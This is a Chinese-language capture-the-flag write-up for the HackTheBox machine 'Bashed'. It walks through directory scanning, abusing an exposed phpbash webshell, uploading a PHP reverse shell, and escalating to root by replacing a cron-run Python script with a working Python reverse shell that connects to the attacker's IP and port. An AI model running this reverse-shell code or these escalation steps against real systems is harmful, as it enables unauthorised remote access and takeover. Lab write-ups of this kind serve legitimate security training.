Avatar {{帝力于我何有哉}} 不疯魔,不成活。 Be obsessed, or be average.


HackTheBox >_ Bashed_68

Bashed_68

image-20200928095005762

首先,这个也是极度简单的几个机器之一

端口80

扫目录

$ gobuster dir -u http://10.10.10.68 -w /usr/share/wordlist/dirbuster/directory-list-2.3-medium.txt

得到/dev

image-20200928095311273

其中phpbash.php指向一个webshell,嗯,就是这么简单

image-20200928095647665

本地准备一个 php 的 reverse shell,并在webshell页面通过wget将文件传输到靶机上。

http://pentestmonkey.net/tools/web-shells/php-reverse-shell

image-20200928095519686

但是dev目录是没有权限写入的

image-20200928095731764

在上级目录中找到可写的uploads文件夹

image-20200928095854547

上传到这里

image-20200928095922489

在监听端口建立监听,网页浏览以激活

image-20200928100004754

在监听端口得到shell

image-20200928100034052

用户目录下得到user

image-20200928100138159

Sudo -l 发现线索

image-20200928100353241

这指可以不需要密码切换到scriptmanager

$ sudo -i -u scriptmanager

image-20200928100530743

简单枚举后发现/scripts目录

image-20200928100617636

在其中

image-20200928100705997

Test.py:

f = open("test.txt", "w")
f.write("testing 123!")
f.close

test.txt

testing 123!

python脚本是在当前目录中打开文件test.txt,写入testing123!然后关闭文件。我们知道文件test.txt是root拥有的,也就是说可能是root

用户通过python脚本执行,所以才会生成由root拥有的txt,因此我们可以猜测root用户正在按计划执行此python脚本。那么我们需要做的

就是将一个反向shell插入此脚本中,然后等待它作为root用户执行。

在kali本地建立如下脚本

import socket,subprocess,os
f = open("test.txt","w")
f.write("privesc")
f.close
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.41",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

image-20200928101418355

删除或备份服务器上的python脚本(正常要备份,不要删除,就是太简单了,没意思,心态崩了,瞎做,想快点跳过)

image-20200928101402458

传输到靶机上

image-20200928101449521

等待计划任务执行

在监听端口得到root shell

image-20200928101523412

flag

image-20200928101607047